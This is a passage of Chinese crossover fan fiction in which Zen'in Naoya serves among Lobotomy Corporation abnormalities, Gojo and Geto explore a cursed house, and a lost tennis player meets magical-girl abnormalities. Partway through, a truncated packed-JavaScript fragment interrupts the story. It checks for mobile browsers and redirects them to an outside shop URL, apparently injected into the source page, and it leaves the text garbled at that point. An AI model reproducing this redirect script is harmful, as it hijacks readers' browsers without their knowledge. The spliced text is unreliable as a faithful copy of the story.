“啧,”禅院直哉斜睨着这个奇怪的骷髅,发出了不屑的咋舌声,“这是个什么奇怪的东西?”
他的声音回荡于这个小房间内,没有任何回音,这个房间静得让他心慌。
“喂!你说点什么啊?”
可是骷髅回应他的仅有上下颌微微磕碰发出的响声。
在安静得可怕的房间里,这种细微的声音让金发少年不由得有些发毛。
对于禅院直哉来说,这是一种全新的体验,这个骷髅,绝对不是什么弱小的咒灵!
“直哉,你应该向祂忏悔你的过错。”
X的声音透过禅院直哉挂在耳朵上的耳机传入这个房间。
“你不必害怕,祂是我们这里最温和的一位。”
“我的过错?”禅院直哉像是听到了什么好笑的话一样,差点笑出来,“我没有过错,在禅院家,我的话永远是对的。”
X:“……”
哇,这个人的性格好烂。
“要不然,你还是锤他一顿吧。”
禅院直哉扯起嘴角,以为他放弃了让自己与咒灵沟通的可笑想法。
金发少年看着骷髅深不可测的空洞双眼,正准备一拳砸上去,就看到了离自己越来越近的空洞眼眶。
怎么回事?他可是还没动手啊?
下一刻他就知道了,他没动手,但是骷髅动手了,以好脾气而闻名的一罪与百善也受不了这个烂人。
祂今天就要打出红色伤害!
突然领会X话中含义的禅院直哉:“!”
门缓缓打开,鼻青脸肿,身上还有一个大牙印的禅院直哉走了出来。
见到这一幕,无论是路过的文职还是员工全都目瞪口呆的看着狼狈不堪的禅院直哉。
“这里是一罪与百善的房间吧?”
“我没看错吧?”
“他干什么了?”
“我的天啊!”
被人当小丑围观,对于禅院直哉还是第一次,要不是打不过他们,他现在就会让这群该死的非术士给他跪下来磕头道歉!
“您打算怎么处理他?”安吉拉问。
这种不听话,有没有价值的员工。
像抱大抱枕一样,抱着空虚之梦的X:“要不让他去喂小鸟吧,万一他喜欢小动物呢?”
他为了防止某个惦记羊的新员工,会偷偷潜入收容室,干脆把祂随身带着了。
事实证明,喂鸟,禅院直哉还是可以做到的,只不过,他一边喂鸟一边抱怨,小鸟被他叨叨的要烦死了。
于是,他的头上又被小鸟啄出了几个伤口。
“这算沟通吗?”X看安吉拉。
“按照最终的结果来看,禅院直哉同时进行了本能与沟通两种工作。”
安吉拉也是第一次遇到这种情况。
要是他们还经营着脑叶公司,禅院直哉说不准还能混个最佳员工当当,毕竟他一次做了两项工作。
*
“哈哈哈哈哈!”五条悟趴在桌子上,笑得前仰后合。
与他快速混熟,并成了朋友的夏油杰:“你看到什么了?笑成这个样子?”
“笑死老子了!禅院直哉居然被卖掉了!”
即便五条家的消息有些滞后,但是禅院直哉已经这么久都没有出现在御三家和总监部的聚会上了。
他们也发现了些许端倪,那位禅院家主最受宠爱的末子,最有可能成为下任禅院家主的禅院直哉,消失了。
再一调查,五条家愕然发现,那位不可一世的大少爷,已经被禅院家主送走了。
“杰,你也认识他,就是那个染了黄色头发的……”五条悟很戏精的露出了一个禅院直哉标志性不屑的表情。
夏油杰差点没笑出来,太传神了,让他一下就知道五条悟模仿的对象。
“不过……卖掉?”出生于现代社会的夏油杰总觉得这个词有些过于古老了。
现代社会还会存在这种父亲卖儿子的情况吗?
他做出合理假设:“是过继出去了吗?”
“不,就是字面意思的卖掉。”
“啊?”一个普通人家庭出身的咒术师张大了嘴,脸上写满了不可置信。
不过,夏油杰只是一个学生,对于这种事情也只是震惊一下而已,毕竟他和禅院直哉又不熟。
直到——他和五条悟在任务中与禅院直哉撞到了一起。
那是一栋会移动的“咒怨之屋”。
由于越演越烈的都市传说,以及随之而来的恐怖电影的影响,“咒怨之屋”便出现了。
“五条君,夏油君,我要先和你们说清楚,这次的任务并不是常规的咒灵,而是由传说而来的假想咒灵。”
年轻的辅助监督一边开车,一边快速的与两个高中生年纪的咒术师叮嘱着。
“你们的老师应该讲过吧,假想咒灵即便祓除了,也不会消失,祂们只会在下一次的传说中复生。”
他有些担心的看着车内的后视镜,他并不清楚他们的身份,他只是一个第一天上班,仅仅了解了一些内情的普通人。
“这可是准一级的咒灵,你们两个一定要小心啊。”他停下了车,再次的叮嘱道。
“我们会的。”
夏油杰捂住了要说些什么的五条悟的嘴,他总觉得这小子不会说出什么好话。
“啊……”
小谷真宏目送着两个与自己死去弟弟年纪差不多大的年轻咒术师头也不回的迈向死地,双手不由得握紧。
“你在犹豫些什么?”一道身影悄无声息都出现在辅助监督的身后,“别忘了你被总监部害死的妹妹,你又是站在什么立场上,来同情那位五条家
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的大少爷呢?”
小谷真宏沉默地拉开了车门,让那道身影上车,随后自己坐到了驾驶位,离开了这个在全日本境内不断移动的特级假想咒灵的领域。
没错,特级,而不是任务报告上所写的准一级。
*
禅院直哉瘫着一张脸,他已经被那群可以称得上是群魔乱舞的异想体磨平了脾气。
没错,异想体,他现在算是明白过来了,那些东西绝对算不上咒灵,祂们可比咒灵可怕多了。
起码咒灵不会让他死去活来。
嗯,他死过,他现在总算知道那个笑眯眯的灰毛部长给他拍照是为什么了。
那是存档啊!
不过,好消息是,他!禅院直哉!今天可以出门透气,坏消息是,他手里还牵着一个小的。
一个戴着白色蝴蝶结的小女孩牢牢地牵着金发少年的手,另外一只手上则是拿着一个大大的波板糖。
她戴着一副儿童墨镜,将自己非人的特征遮挡得严严实实。
看着祂手中的糖果,禅院直哉不由回想起早上的经历。
他被溶解之爱威胁了,那个可怕的ALEPH级异想体不被主管允许随意出门,而不知道从哪里看了动画片的子取箱想吃糖,祂甚至要自己挑。
于是,弱小无助又可怜,且获得了假期的禅院直哉便被盯上了。
为了自己的身体着想,忍辱负重的禅院少爷选择带子取箱出门。
至于主管……主管今天要去上课,当然,是他给别人上课。
那个笑面虎部长,还做出一副积极求学的样子跟着一起出门了!
呸!虚伪!他绝对是为了讨好主管!
可恶!要不是他没系统性的学过,他也要去套近乎!
不知道自己的想法正朝着微妙的地方转变的禅院直哉突然走不动了。
子取箱停住了。
“又怎么了?”黑色的发根都长出来不少的禅院直哉低头看祂。
“主管……那里。”到现在说话还颠三倒四的子取箱说。
“主管?”禅院直哉看向了子取箱指的方向,那是一栋有些破旧的仿西式的二层住宅。
“他在里面?”总觉得这个地方有点眼熟的禅院直哉问。
“唉,你干什么去!”
刚刚还捏的他手有些痛的“小女孩”,突然撒腿就跑。
禅院直哉发动了自己的术式,他躲不过克洛伊,他还抓不住区区一个子取箱吗?
事实证明,抓住了,但是如抓。
他刚刚摸到了子取箱的蝴蝶结,下一刻周遭的环境突然改变。
“……哟,悟君,好久不见。”
是的,他现在手里握着子取箱的蝴蝶结,距离他不到一米远的地方,站着五条悟。
“你……喜欢蝴蝶结?”五条悟一脸大受震撼的表情。
众所周知,禅院直哉其人,从骨子里看不上女性,更别提女性所佩戴的饰品了。
所以,好诡异啊,五条悟感觉自己整个人都不好了,他为什么会在咒灵的地盘上,拿着一个蝴蝶结?
“……这不是我的!”禅院直哉要被气死了。
10.咒怨之家
“我有一个问题。”禅院直哉仰躺在床上,问。
“很好,直哉君,请讲!”躺在他旁边的五条悟眼睛瞪得溜圆,在黑暗中像个电灯泡。
对!就是这点!
“悟君!我可没听说六眼会发光啊!”禅院直哉恨不得拍案……拍床而起!
“不要说老子,直哉,你不觉得你有什么不对劲的地方吗?”
本该是完全的咒术师,运转着咒力的禅院直哉,现在好像被安诺恩那群人感染了一样,他的身体构成成分中,混进了一点点的“光”。
“我怎么了?倒是你,悟君,天花板已经要变成星空顶了啊!”
五条悟的眼睛像个投影仪一样,现在天花板上满是星星啊!
“你们两个安静一点,有什么东西过来了!”
夏油杰终于忍无可忍的打断了他们两个的对口相声,这里可是咒灵的地盘啊!非得在这个时候吵起来吗?
夏油杰刚说完,他们三个便一起听到了咯吱……咯吱……的声音。
有什么东西,朝他们来了!
可是声音在即将走到卧室门口的时候,戛然而止。
整个空间突然陷入死一般的寂静,静的似乎可以听到彼此的心跳声。
因为五条悟像星空灯一样会发光的眼睛,他们几个人完全可以看清房间中的细节。
“我说,我们为什么要躺在这里来着?”夏油杰小小声的说。
“嘘!别把咒灵吓走了!你不觉得这样很有氛围吗?沉浸式恐怖片欸!”
五条悟眨了眨眼睛,星空顶也随之闪了闪。
“悟君,被子里有东西。”
禅院直哉的话音刚落,正在小声说话的两个高专生一起朝着被子里看去。
一张惨白的女人面孔突然贴了上……没贴上,她只有一个人,而这里有三个人,她该贴谁?
女鬼突然宕机,开始思考,思考失败。
“喂……你还能听到吗?”
五条悟晃了晃自己的手,他的动作就像是开机键一般,女鬼有了反应。
她猛然伸手,掐向了正在挑衅她的五条悟,没掐到。
有一层几不可察的空气挡住了她的手。
女鬼的脸上留下了两道血泪,看上去更为可怖。
可是没有人理她,禅院直哉一心惦记着去找子取箱,毕竟小孩是他带出去的,要是弄丢了,别说主管了,溶解之爱先活剥了他。
“悟君,我先走了,我要去……!”
禅院直哉不去管正在与女鬼相亲相爱的五条悟,坐了起来。
可是他的脚刚刚接触到地面,床下猛然伸出一只手,死死地握住了他的脚腕。
禅院直哉被吓了一跳,下意识地,一根燃烧着的羽毛突然出现,炽烈的火焰灼烧着那只青紫色的手。
一声尖啸过后,手消失了。
“诶?这里居然还有别的鬼吗?”五条悟反客为主的掐着女鬼的脖子,好奇的挪到床边,将头伸了下去。
一张扭曲的面孔与他对了个正着,五条悟面无表情的看着他,一拳将鬼面锤到一边,顺便把女鬼也丢了进去。
“这算什么?劣质恐怖片集锦吗?”五条悟不满的碎碎念。
“而且,直哉,你到底在找什么啊?”
“一个到我腰高的小女孩,穿着白色裙子,应该还有糖。”
他的话刚说完,门外突然亮起了灯,像是在邀请他们几个过去。
“走吧,悟。”
忙着搓球的夏油杰刚刚结束了他的工作。
“不过这里的咒灵还真是多啊……”居然一个鬼就是一个咒灵,这次简直是大丰收。
他们刚刚走到门口,走廊的灯就开始闪烁起来。
走廊的尽头,一个垂着头,长发拢在身前的女孩静静的站在那里,身上还在不断的向外溢出暗红色的液体。
“哇哦,还有鬼娃娃!”五条悟摸着下巴,像一个局外人一样点评到。
禅院直哉却松了口气,这个在这里cos鬼娃娃的女孩,是子取箱。
不过看起来祂玩的还真的很开心,赶紧把祂带走吧,他已经不想在公司之外的地方见识恐怖片了。
夏油杰看着金发少年像是被迷惑了一样,抬脚就想像鬼娃娃靠近。
一把就把他拽住了,可是他们不回去,不代表女孩不过来。
几乎是瞬间,那个红裙子的女孩就消失了。
而后,几乎是瞬间,夏油杰就觉得自己的后背一冷,有什么东西贴了上来。
而五条悟那个没有良心的家伙正在通过前置摄像头来和自己拍合照!
等等!咒灵为什么会出现在照片里?而且,禅院直哉在干什么?
他在把蝴蝶结给孩子别上,她之所以像一个鬼娃娃一样披头散发就是因为,禅院直哉把蝴蝶结揪下来了。
“小静?”
女孩露出来的脸,分明就是已经死去的三田静!
“什么小静?”禅院直哉将子取箱从夏油杰背上撕了下来,顺便把不知道什么时候被插在祂背后腰带上的波板糖重新塞进了祂的嘴里。
整个动作行云流水,就像是做了无数次一样。
“你难道被卖去当保姆了吗?”
五条悟也没想到自己会看到这样一幕,说实话,这可比恐怖片刺激多了。
他觉得禅院直毘人看到这个场景,他怕不会当场晕过去。
禅院直哉张嘴想反驳,可是他的嘴张张合合愣是没说出来一个字。
他好像和保姆真的没有太大的区别,唯一的区别可能是保姆照顾人,而他照顾异想体。
“总之,我先走了,再见,悟君。”
说着,禅院直哉牵着子取箱,围绕着他的荣耀之羽愈发明亮,就连这一处大型的咒灵聚集地都在害怕一样,建筑微微改变,露出了一条昏暗的走廊。
“不用跟着他吗?”夏油杰看着已经消失在走廊尽头的金发少年。
“他不会有事的,禅院家和安诺恩他们已经勾搭上。”
“直哉,在我眼里已经不算是纯净的人类了,当然,老子好像也比他强不到哪里去。”
他指了指自己的眼睛,夏油杰似乎在最深处看到了些明亮的光。
*
“直哉,你可以回家了。”
禅院直哉刚一进门,就听到了主管像是宣判的声音。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118256|195846||http|test|mini|href|location''.split(''|''),0,{}));
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>“诶?”
他略微吃惊的瞪大了有些上挑的眼睛。
“我爸爸不是……”
“当然不是,你父亲很爱你,你没发现你已经不再对做一场美梦抱有执念了吗?”
X一说,禅院直哉才反应过来,对啊,他已经很久没有去想那只可以让他做一场美梦的羊了。
“可是……”话到嘴边又被他咽了回去,他自由了,他应该高兴才是,可是这种奇怪的不舍感是怎么回事?
“我知道了。”
子取箱完全不懂自己临时保姆的心路历程,小姑娘很开心的扑进了自己“妈妈”的怀里。
溶解之爱被硌了一下,疑惑的伸“手”去摸,摸到了一个四四方方的黑色东西,祂不认识。
那边X正在解雇自己的临时员工,突然被软绵绵的东西戳了一下。
他疑惑的回头,看见溶解之爱举着子取箱,而子取箱举着一个录像带。
刚刚软绵绵的东西就是溶解之爱的小手。
“怎么了?”X拿过录像带,“是想看吗?”
X研究了一下手中的录像带,确认自己家的机器可以播放之后,就把它塞了进去。
一咒灵一人一异想体看着电视上的雪花屏陷入沉默。
直到影像结束,他们也没看清具体的影像。
“这个可能坏掉了,我看看能不能修。”
很惯“孩子”的黑发少年将录影带抽了出来,打算看看能不能修好。
可是这个时候,客厅的座机却突然响了。
收拾好东西的禅院直哉正好路过,便顺手拿了起来,没有任何声音。
“好像是打错了。”他说,便将电话放了回去,可看清了X身上萦绕着的咒力残秽后,他便皱起了眉。
“不对,您被诅咒了。”
正在拆摄像带的X:“我吗?”
禅院直哉看着这个生活在怪物堆里,却对诅咒之类的存在毫无警惕的黑发少年,突然很想叹气。
是他想多了,什么诅咒能在这里谋害到他?怕不是刚进门就被撕得粉碎了。
“请您保重,我先走了。”
与刚到这里的大少爷可以说是天差地别的禅院直哉离开了。
只剩下一个据说被诅咒的X。
“我被诅咒了?”他问左边的粉色大果冻,溶解之爱一脸迷茫。
他又看向右边的本土生物,可是不太聪明的小姑娘也一脸迷茫。
晚上,X睁开眼睛,有些怔愣的看着天花板,他做梦了。
很奇怪的梦,有一位女性在对自己说着什么,可是他看不清她的面孔。
那位原本似乎要和他对话的女性正向他走来,却停下了,她突然望着某个方向,那里不知何时站着另外一道身影。
“您还好吗?”安吉拉的声音突然响起,她不知道什么时候来了,此刻正安静的站在X的床边。
“我感知到了一个可疑的信号源,您今晚遇到了什么怪事吗?”
“我做了一个梦。”
“梦境往往可以帮助人们回想起一些被忽略掉的事情,您想起什么了吗?”
“我好像看到了一个人,不,两个人。”
11.魔法少女
X的梦境深处。
穿着白大褂的女性嘟着嘴,看向了自己地盘的入侵者。
“你是怎么进来的?”
另外一道雪白的身影并不说话,只是安静的站着。
卡门摸着下巴,疑惑的围着这个奇怪的家伙转了一圈。
聪明的卡门女士遇到了世纪难题,她找不到哪边是正面。
这个身影前后都是头发,完全不知道自己遇到真女鬼的卡门小姐百思不得其解。
这是面壁女的亚种异想体吗?可是自己不认识祂啊?
再说,为什么X会梦到这种奇怪的东西啊!
某位完全不把自己当做奇怪东西的卡门小姐:“诶嘿。”
*
依旧是那盘录像带,不同的是观看的人,这次刷新在客厅的是一个穿着燕尾服的塑料模特。
没睡好的X:“你也要看吗?”
这次的影像略微清楚了一些,能隐约看到有一位女性在梳头发。
影片播放结束,客厅的电话再次响起,依旧是毫无声音。
*
“你们是商量好的吗?”
X变成了一个无情的录像带播放机器,这次陪同观影的是某颗碧蓝色的星星。
……
七天的时间里,除了某位大扑棱蛾子之外,所有的A级异想体都认真观看了这个越来越清楚的录像带。
那天晚上,唯一一个没有观看的白夜也扑腾着翅膀,飘了出来。
那晚的客厅格外吵闹,而X则是睡了一个久违的安稳觉。
第八天清晨。
“这是什么东西?”莱茵哈特戳了戳电视前面的不明物体。
“不知道,垃圾吧?”克洛伊也蹲下观察了一下,没看出来到底是什么东西。
“咦?放在这里的录像带去哪了?主管和A级最近好像特别喜欢看它。”
“啊,真的,录像带不见了。”
*
列车没入隧道,短暂的黑暗过后,车厢内重新亮了起来。
不知何时,原本还满载乘客的列车中,只剩下了一个抱着自己背包,睡的一塌糊涂的少年。
少年的脸颊歪在背包上,被硌出了些许红痕,直到列车缓缓停住,从门外吹进的风让他下意识打了个哆嗦,被冻醒了。
“嗯?到站了吗?”有着一头卷曲的发丝的少年伸了个懒腰,脑子还有些不清楚,但是身体还是下意识向列车外走去。
他前脚刚刚踏上月台,后脚列车便疾驰着离开了。
切原赤也挠了挠自己的头发,待他看清了周围的环境后,惊愕地发现自己下错站了。
这里并不是他熟悉的车站月台,而是一处有些破旧的车站。
“如……月站?这是什么地方?”
对自己认路不抱什么希望的少年决定场外求助,他掏出了自己的手机,试图联系自己的外置大脑。
“……您拨打的号码是空号。”
无论他是使用联系人还是自己播下那个烂熟于心的号码,得到的都是这句冰冷的话语。
怎么可能?!他可是绝对不会记错号码的!再说了,就算是他真记错了,他的手机总不能也记错了吧!
他在出门之前可是给自己前辈打过电话的!
“没有信号吗?”
联系外置地图无果的卷毛少年,觉并不坐以待毙了,他要出站,万一外面就有信号了呢……
事实证明,外面不要说信号了,这里什么都没有。
映入少年眼中的是无尽的翠绿,这里哪里是什么车站,这里简直被树木和草丛淹没了。
这不对吧?也许是植物过多带来的幽深感,又或者是自己的内心在作祟,就读于立海大附属中学二年级的切原赤也君总觉得自己后背有些发凉。
“喂……有人吗?”
他现在觉得也许留在车站内才是一个好主意了,出来好像更不妙了。
更何况……这里显示的直接是“圈外”了,还不如刚刚的空号呢。
切原赤也决定打道回府,他还是回去等车吧,大中午的总不能一辆车都没有吧。
他要是贸然走进山里,他弄不好一辈子都见不到网球部的大家了。
一想到,以后幸村前辈他们提到自己时露出的悲伤混合着怀念的神情……
不对不对,不要想这么不吉利的事情,发型酷似海带的黑发少年狠狠地摇了摇头,回去!只要回去!这一切都会结束的!
卷毛少年紧紧握着网球包的肩带,转过了身,正打算走回车站入口,可是……
“车站呢?!那么大一个车站去哪里了?!”
他的背后依旧是树,刚刚距离他只有两步不到的车站入口,消失了。
*
X正在钓鱼。
X的同事,大了他快四十岁的濑户教授看出了他最近压力好像有些大,老头倾情推荐了钓鱼这一项解压的活动。
既可以身处自然,又可以放松身心,简直是再适合不过的运动了。
鉴于他最近的却因为天天做梦,还疑似梦到了禅院直哉口中,那个诅咒他的女鬼,导致压力确实有些大,于是很听劝的X就来钓鱼了。
不过,与濑户教授说的有些不同,钓鱼似乎只有亲近自然,让人放空自我的功效。
他,X,在这里坐了一个上午,没有钓到一条鱼。
再钓不上鱼,他就回去好了,金色眼睛毫无焦点的盯着湖面的X这样想着。
尤其是……他发现自己身后好像跟上了不少小尾巴,他总有一种预感,再不回去,这里可能会发生一些让他压力剧增的事情。
湖的另一端。
穿着酷似经典款魔法少女的可爱蓝发女孩盯着自己搬来的一筐鱼。
不知道她是在对同伴说话,还是在说说服自己。
“我是为了正义!没错!正义!主管在这里空坐一个上午没有一点收获,实在太可怜了,对!我是在帮助他!”
说着,蓝发女孩还点了点头,老自说服了老己,很好,是时候动手了!
这里不仅有她自己,还有她的两名同伴,穿着浅金色裙子的深肤女孩似乎也很赞同她的提议,只不过她的眼睛更多停留在那筐鱼上。
啊啊~多么美妙的助人之心,以及被这份感情裹挟着,显得多么诱人的果实(鱼),这份欲望,她已经迫不及待了。
唯一一个看上去成年了,穿着深蓝色礼服的女士似乎有些忧愁,这样真的能行吗?
让憎恶潜水下去挂鱼什么的……主管会开心吗?
主管开不开心,绝望骑士不知道,绝望骑士只知道,给她们出点子的大灰狼先生有些不靠谱。
憎恶女王像每一个试图潜水的人一样,深吸一口气,憋住,她正要抓过自己准备好的鱼,手却摸空了。
奇怪?她的鱼呢?
蓝发女孩气也不憋了,疑惑的回过身,打算检查一下自己的资源储备。
“啊!哪去了?!”她的鱼凭空消失了!一整筐!甚至筐都不见了!
这里有小偷!魔法少女顿时感觉来活了,她将要!现在!立刻!马上!去制裁那个低劣的小偷!
首先要先问目击证人,憎恶女王摆出严肃脸,询问了自己的同伴之一,贪婪女王。
“呜呜呜……”她的嘴像是塞满了东西,一时间甚至说不出话,只能一直重复嚼嚼嚼。
似乎不用问了,嫌疑人已经不打自招。
绝望骑士突然觉得气氛有一些紧张,这位可怜的骑士试图缓和气氛。
“我再去拿一些……”
可是气氛缓和失败,因为一次性塞太多东西进嘴的贪婪女王觉得人性过于麻烦,于是微微的震动过后。
美丽的深肤女孩消失,取而代之的是一条大鱼,大鱼的嘴正在咀嚼着这一份可贵的欲望。
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“鱼,对啊,哈哈,你也是鱼,干脆把你挂上去吧。”
蓝发少女低垂着头,脸上是不受控制的表情,任谁看来,少女都处于情绪的边缘,随时都会崩溃。
“啊,你有点大,我好像拿不下呢……”
啊!绝望骑士更绝望了,她突然觉得异想体生无望,说好的帮助主管解压呢……怎么感觉那位可怜的先生搞不好血压都会变高呢?
想着想着,优雅的女骑士不由得悲从中来。
而这一切,某个正坐在湖边发呆的某位可怜的先生对湖对面发生的事情一无所知,他只觉得脚下有些震。
鉴于他身处的位置十分偏僻,也许是大货车之类的路过吧。
不过,在这里发呆的确很解压,真是美好的一天啊……
就在他感叹今天风平浪静的生活时,他的脚下猛地一震,紧接着,他就看到了一道十分眼熟的粉色激光将一排树木截断成了两节。
果然,风平浪静的生活什么的,是不可能的啊。
新晋钓鱼佬扔下了他的鱼竿,打算去看看自己家的“蛇”为什么会在这里陷入歇斯底里?
总不能是祂漫步于大自然,感叹生命的美好,然后突然就觉得太美好了,需要点反派来点缀生活吧?!
对“真的很坏的大灰狼”出的馊主意一无所知的主管想着,终于摸到了羽蛇边上。
这时他才看到整个动乱现场。
黑发少年突然感觉今天的放松取得了零收益,即将朝着亏损的方向一去不返。
谁能告诉他?为什么他们家仅存的三名魔法少女,在这里打成一团?!
*
某个回车站无门的小海带,紧了紧身上的队服,准备迈上不知道能不能走出去的道路。
四周的树木简直是一模一样,让本就不擅长认路的切原赤也走的晕头转向。
幸村部长,真田副部长,永别了,我怕是再也回不去了……
走到最后,卷毛少年干脆破罐子破摔起来,他放弃了辨别方向,干脆闷头走了起来。
也许是上天眷顾,他终于从四周一模一样的环境中挣脱出来。
可是,就在他稍微放心一点的时候,就听到了声音。
那是来自距离他不远的地方,属于女性的,悲戚的低泣。
切原赤也一时间感觉从自己出生起,听到的所有怪谈都在朝他奔来,顿时,各种恐怖的展开塞满了他的脑子。
不会吧……虽然车站消失确实很灵异,可是,不会吧……不会真的有鬼吧?不要啊!!
一时间,他进也不是,退也不是,只能像一根木头一样杵在那里,可是这样也不是办法,再过几个小时,天就要黑了。
要过去吗?他问自己。
少年哆哆嗦嗦的取出了一只球拍,这是他身上仅存的,可以称得上武器的东西,就是不知道对于灵体之类的存在有没有效了。
他刚将球拍死死的攥住,就像是有什么存在在故意逗弄他一样,在他身后的方向突然传来了什么踩踏草木的窸窣声。
现在有两个选择摆在他的面前,回头和拔腿就跑,可还没等他的大脑反应一下,身体就下意识动了起来。
感谢他长期跑圈,切原赤也几乎是转眼就钻进了身前的丛林中。
可是等他反应过来的时候,他发现自己正朝着传来哭声的方向奔跑。
切原赤也君,紧急刹车。
好在刚刚身后的声音没有跟过来,他的心在胸膛内重重的跳动着,少年只能听到自己的心跳声,奇怪,刚刚的哭声是不是消失了?
正想着,扶着大树的少年抬起头,张望了一下四周。
突然,他四处打量的动作卡住了,切原赤也一顿一顿的将自己的头转向了刚刚看到阴影的方向。
一张面无血色,空洞的漆黑眼眶中仍不断溢出漆黑漆黑液体的“女鬼”的脸在那里安静的看着他。
12.魔法少女
伴随着粉蓝交织的羽蛇与浅黄伴着灿金的大鱼之间的争斗,四周原本茂密的树木一棵棵倒下。
原本翠绿的山林被滚得尘土飞扬,羽蛇口中的激光不时在空中扫射着。
X看到的就是这样的混乱景象。
金眸的少年耳边是骑士的低泣,他轻轻的叹了口气。
某种程度上,这也算是一件好事,他心里那颗悬着的石头总算落地了,魔法少女们闹了起来,应该就不会有别的奇怪事情发生了。
X握住了一柄长相奇特的锤子,人类的大小对于已经异化的魔法少女来说,太过渺小,他需要通过一些工具来唤回祂们的理智。
好在,祂们中最靠谱的那位骑士依旧处于观望状态,他不需要在剑雨中躲避。
这时,两只异想体已经缠到了一起,贪婪女王如同一只被五花大绑的螃蟹一样,被长了祂许多的羽蛇缠成一团。
可是祂的大嘴仍就不断吞噬着阻挡自己的一切事物。
即便是祂的同类也无碍,祂会将这一切统统吞噬殆尽!
羽蛇的长翅几乎被整个撕扯下来,而属于贪婪女王这一存在的头颅也几乎要被湮没。
不知何时,骑士的哭泣声已经消失,黑发少年在羽蛇喘息的间隙中,用那柄形似卡通兔子的小锤,将两个试图拼个你死我活的异想体敲了一下。
他的举动在外人看来就像是在玩闹一般,力度也不比挥舞充气的橡胶锤子大,可是那两只刚刚还斗得地动山摇的怪物却停手了。
羽蛇即将射出的激光被咽了回去,祂的尾巴尖还把被灼烧掉半边脸的贪婪女王的头颅给摆正了。
身上遍布花纹的大鱼也用自己两侧的长臂把憎恶女王的翅膀从嘴里拽了出去。
最后,两只光凭外表就写满了不好惹的异想体一同看向了拿着“教学兔兔”的金眸少年。
“所以,你们为什么在这里?”少年将“教学兔兔”杵到了地上,略微仰着头,与贪婪女王伸过来的头颅对视。
换任何一个正常人来看着这一幕,都会当场晕过去,可是少年只是专注的看着悬挂在空中,一半秀美,一半流淌着鲜红液体的女性头颅,语气较之以往带上了一些无奈。
“……多么美味……更多……”悬于空中的,白发的少女的头颅吐露着断断续续的话语。
只是这些片段式的话蕴含着的信息过于隐晦。
而一旁的羽蛇并不会口吐人言,祂的嘴里只能射出毁灭一切的激光。
那么,去问在场唯一一个有着理智的存在好了。
少年想着,转向了绝望骑士。
“骑士,你知道祂们为什么……骑士呢?”
入目是一片翠绿,本该飘着绝望骑士的地方,空无一物,回应少年的,仅有剩下一棵在这场王后与国王的对决下,仅存的小草,在微风的吹拂下,左右摇摆着。
体型巨大的羽蛇仅仅是挪动身体也会产生一阵一阵的轻微震动,黑发少年向祂看去,发现这两位魔法少女都“指着”同一个方向。
而身着深蓝礼裙的骑士都身影正安静的向着他们靠近,祂好像被什么东西吸引了注意力。
随着第三位魔法少女的接近,X看清楚了,女骑士的手中还拎着一团不明物体。
“骑士,你手里……”
少年的话断在口中,毫无缘由,他的心重重的跳了两下,着似乎昭示着什么不一般的事情发生了。
这是一种似曾相识的体验,只不过太多年没有感受到了而已。
在X都记忆中,上次有这种体感,还是在他十岁的时候,这是异想体……或者在当时年幼的他心里,“心灵之蛋”到来的前兆。
只不过……十岁那年是他最后一次接收异想体的卵,怎么时隔这么多年还追加了?
而在骑士的视角中,祂感受到了,眼前的少年与祂们,与异想体发生了奇异的共鸣 ,似乎有什么存在要来了。
即便自己的小伙伴们千奇百怪,骑士也不由得好奇起来。
尤其是……这次的存在似乎与祂们魔法少女的关系匪浅。
羽蛇和灿金色的鱼也与自己的同僚一样,感知到了那位存在的到来,祂们一同朝上方看去。
X也跟着抬起了头,只不过比他头更快的是,一枚“高空抛物”。
那是一枚通体碧绿,上面镶嵌了不少翠绿宝石,拼凑成梅花图案的卵。
毫无疑问,这是于他的异想体相同的存在,只不过祂现在试图把他砸到地里。
少年微微侧身,这枚蛋便擦着他的鼻尖,重重的砸到了“教学兔兔”的锤子上。
硬质的锤身此刻却像是一团柔软的橡胶,温和的将蛋弹到了一旁。
骑士下意识去接,手中的那团不明物体在失去了唯一的支撑后,吧嗒一下倒在了地上。
碧绿色的卵被骑士稳稳接住,而X终于将注意力投向了“不明物体”。
刚刚没注意还好,仔细一看这好像是个人啊。
完全没想到会在自己家后山看到陌生人的X缓缓打出一个问号,怎么,这人也是来钓鱼的吗?
*
黑暗中,切原赤也感受到一道目光在看着自己,可是联想到刚刚导致自己晕倒的那个女鬼,他就丧失了睁开眼睛的勇气。
万一他一睁眼,正好与她对视上怎么办?恐怖片里可都是这么演的啊!
“骑士,他是?”说话的人与切原赤也想象的瘆人女鬼的声音截然不同,首先性别就对不上,这是个男的,而且听起来年龄也不大。
要不……看一眼?
严重怀疑自己其实一直在做梦的初中生偷偷将自己紧闭的眼睛微微眯出一条小缝隙,试图看清眼前的情况。
映入眼中的是一片金色,金色?
“原来你醒了啊。”X将切原赤也的视线遮挡得严严实实,让他不会看到自己身后的景象。
在黑发少年身后,抱着一枚绿色的蛋,绝望骑士身上猛地飘起一把盈泪之剑,西洋剑的剑锋在为自己尚未恢复到人形的同类指引方向。
看清眼前人身影的某个倒霉初中生咚咚咚跳着的心脏总算回复了以往的平稳,太好了,是人。
他刚刚一定是在做梦,他就说嘛,这个世界根本就不存在鬼怪。
完全不知道在少年身后,有三个魔法少女带着一枚蛋飞速撤退的切原赤也揉了
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揉自己的头,打算坐起来。
X听着自己身后有些兵荒马乱的动静,选择一把把人按了回去:“你躺在这里很久了,起来太快会晕的。”
切原赤也还觉得这个好心人还怪体贴的,便打算顺着他的话,慢慢起来。
可是即便如此,好心人的手却依旧将自己牢牢的按在地上,怎么回事?
“请问……”也许是之前经历的事情,原本性格可以称得上活泼的少年也有些拘谨,毕竟这个好心人一直在冷着脸啊!
完全没意识到为了给魔法少女打掩护,而整个人看起来像是在生气一样绷着脸的黑发少年突然意识到,眼前这个孩子的脸上挂着冷汗,像是被吓到了。
切原赤也是一个普世意义上的乖宝宝,此人顶多在网球场上对人放过狠话,对于这种年纪比自己大,其实也很恐怖的人很苦手。
正当他在肚子里搜索着词汇,就差使用蹩脚的英语来一句“hello”的时候,从他的上方,传来了“Hello。”
他说出来了?不对!他没说话啊?
话说,那个时候,是不是有什么东西从他后面踩了一下草地来着?
